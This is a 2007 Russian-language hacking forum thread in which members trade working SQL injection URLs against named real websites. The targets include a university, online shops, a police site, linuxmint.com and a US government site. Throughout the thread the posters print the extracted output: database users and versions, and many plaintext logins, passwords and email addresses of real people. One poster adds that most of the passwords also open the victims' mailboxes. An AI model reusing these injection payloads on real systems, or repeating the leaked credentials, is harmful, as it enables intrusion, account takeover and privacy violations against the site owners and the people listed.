SQL Инъекции

25.11.2007, 10:24

MSDEN

Новичок

Регистрация: 07.05.2007

Сообщений: 12

С нами: 10006438

Репутация: 1

На этом я встал...

Цитата:

http://www.mai.ru/colleges/fac_9/k902/symp/razdel.php?id_razd=7'+and+1=0+UNION+SELECT+1,2,con cat_ws(0x3a,user(),database()),4,5,6,email+from+us ers+where+id="119"/*

помогите подобрать столбик с паролями пожалуйста

𝕏 Twitter Reddit Telegram Копировать ссылку

25.11.2007, 10:31

-MoLoToK-

Познающий

Регистрация: 04.10.2007

Сообщений: 32

С нами: 9791439

Репутация: 88

Цитата:

Сообщение от MSDEN

На этом я встал...

помогите подобрать столбик с паролями пожалуйста

Код:

http://www.mai.ru/colleges/fac_9/k902/symp/razdel.php?id_razd=7'+and+1=0+UNION+SELECT+1,2,concat_ws(0x3a,login,psw),4,5,6,email+from+users+where%20+id=%22119%22/*

kaka123321123321:qwertyui
tdv:FdsuL45
Potapov:alexPOT
Kit:signal
flag:gikgik
Мерзляков:195021
Фрумен-СПбГМТУ:frfrfr
Gumer:160949
Kasyanov:vuy391y
julia:27011954
Юрий:sonovYP
SamsonovYP:03071948
и т.д
большиство пассов также подходит к мыльникам которые видны в инъекции
З.Ы очень приятная скуля)

Последний раз редактировалось -MoLoToK-; 25.11.2007 в 10:51..

25.11.2007, 11:26

•••™NO FEAR™•••

Постоянный

Регистрация: 08.08.2005

Сообщений: 782

С нами: 10924226

Репутация: 1419

Цитата:

http://www.kupitelefon.ru/model.php?Model=-1+union+select+1,2,concat(database(),char(58),user (),char(58),version()),4,5,6,7,8,9,10,11,12/*

mcc21:mcc21@localhost:4.0.24

Цитата:

http://www.shale.ru/page.php?lev1=5&lev2=-1+union+select+1,2,3,4,5,6,concat(database(),char( 58),user(),char(58),version()),8,9,10,11/*

db_shale01:shale01@localhost:4.0.24-standard

Последний раз редактировалось •••™NO FEAR™•••; 25.11.2007 в 12:04..

25.11.2007, 12:42

.Slip

Leaders of Antichat - Level 4

Регистрация: 16.01.2006

Сообщений: 1,966

С нами: 10692266

Репутация: 3486

SQL-Inj:

Код:

http://superski.ru/adm/show.php?news_id=1193-1

Код:

http://superski.ru/adm/show.php?news_id=1193+order+by+7

Код:

http://superski.ru/adm/show.php?news_id=-1193+union+select+1,2,3,4,5,6,7

Код:

http://superski.ru/adm/show.php?news_id=-1193+union+select+1,2,concat_ws(0x3a,version(),user()),4,5,6,7

5.0.45-log:u12761@10.10.223.222

f0rum ipb

Код:

http://superski.ru/adm/show.php?news_id=-1193+union+select+1,2,count(*),4,5,6,7+from+ipb_members

4971 users

Код:

http://superski.ru/adm/show.php?news_id=-1193+union+select+1,2,concat_ws(0x3a,name,password,email),4,5,6,7+from+ipb_members+where+id+like+0x31

admin:PassWord123

__________________
..

25.11.2007, 12:47

•••™NO FEAR™•••

Постоянный

Регистрация: 08.08.2005

Сообщений: 782

С нами: 10924226

Репутация: 1419

Цитата:

http://www.den-za-dnem.ru/page.php?article=%27-1+union+select+1,2,concat(database(),char(58),user (),char(58),version()),4,5,6,7,8/*

dzd_den:dzd_den@localhost:4.1.22-standard

25.11.2007, 12:49

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

С нами: 9762146

Репутация: 1174

EEстония

Код:

http://www.gi.ee/index.php?page=6&id=-1)+union+select+1,2,3,4,5,concat(table_schema,0x3a,table_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+column_name=0x70617373776F7264+--+

gi:autokalender_users

Код:

http://www.gi.ee/index.php?page=6&id=-1)+union+select+1,2,3,4,5,column_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_schema=0x6769+and+table_name=0x6175746F6B616C656E6465725F7573657273+limit+0,1+--+

uid
username
password
email

Код:

http://www.gi.ee/index.php?page=6&id=-1)+union+select+1,2,3,4,5,concat_ws(0x3a,uid,username,password,email),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+gi.autokalender_users+limit+0,1+--+

Код:

1:admin:password:2:

25.11.2007, 14:00

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

С нами: 9762146

Репутация: 1174

www.linuxmint.com

Код:

http://www.linuxmint.com/mirrors.php?id=-1+union+select+1,2,3,concat(table_schema,char(58),table_name),5,6+from+information_schema.columns+where+column_name=0x70617373776F7264+limit+0,1/*

lms13:admin

Код:

http://www.linuxmint.com/mirrors.php?id=-1+union+select+1,2,3,concat_ws(0x3a,login,password),5,6+from+lms13.admin+limit+0,1/*

Пасс менялся несколько раз

Код:

clem:jolicoeur

The Y12 National Security Complex

www.y12.doe.gov

Код:

http://www.y12.doe.gov/news/release.php?id=30+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10+--+

5.0.33-log:y12admin@y12web4.y12.doe.gov:y12doegov
Дальше думаю разберетесь

25.11.2007, 16:10

Mike 007

Познающий

Регистрация: 04.04.2007

Сообщений: 54

С нами: 10054253

Репутация: 86

Код:

http://suvd.ru/news.php?id=-1+order+by+14/*

официальный сайт сочинской милиции

Код:

http://www.lacie.com.ru/product/mon.php?id=-30+union+select+1,2,3,4,5,6,database(),8,version()  ,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,user  (),26,27,28,29,30,31,32,33,34,35,36,37,38/*

web@localhost
4.1.20-standard-log

Код:

http://trals.ru/1.php?id=-7+union+select+1,user(),3,4,5,6,7/*

tralsru5_u57649@localhost

Код:

http://www.polimernm.ru/partner.php?pid=-1+union+select+1,concat(user,0x3a,pass),5,6,5+from  +login/*

Код:

http://www.russned.ru/parts.php?ID=-1+order+by+5/*

Последний раз редактировалось Mike 007; 25.11.2007 в 16:20..

25.11.2007, 16:18

Ded MustD!e

Members of Antichat - Level 5

Регистрация: 23.08.2007

Сообщений: 417

С нами: 9851426

Репутация: 3908

http://www.toofaced.com/ - что-то очень гламурное...

Код:

http://www.toofaced.com/product.asp?cat_id=-1+union+select+1,2,concat_ws(char(58),username,email,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+vendor_logins+limit+0,1/*

123:brittney_jensen@hotmail.com1:vtest
PBONTA:ralinda@planetbeauty.com

bontario
PBORAN:heather@planetbeauty.com:ORANGE
PBIRV:cole@planetbeauty.com:3881
PB1SAN:tarag@planetbeauty.com:123456
...
и т.д. лимитом

#10

25.11.2007, 16:44

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

С нами: 9762146

Репутация: 1174

www.gamato.gr

Интересный сайтик

БД 5'ой ветки.

Tables:

Код:

ID
NICK
PASSWORD
EMAIL
ICQ

Код:

http://www.gamato.gr/pictures.php?iid=-1)+union+select+1,2,3,4,concat_ws(0x3a,ID,NICK,PASSWORD,EMAIL,ICQ),6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+gamato_fileish.f_users+limit+0,1+--+

admin:eac3a72a92235afabb94b33c3e23e8f0

www.expo.chelsi.ru

Код:

  http://expo.chelsi.ru/mainexpo.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+

5.0.26-lk-log:chelsiru_expo@localhost:chelsiru_expo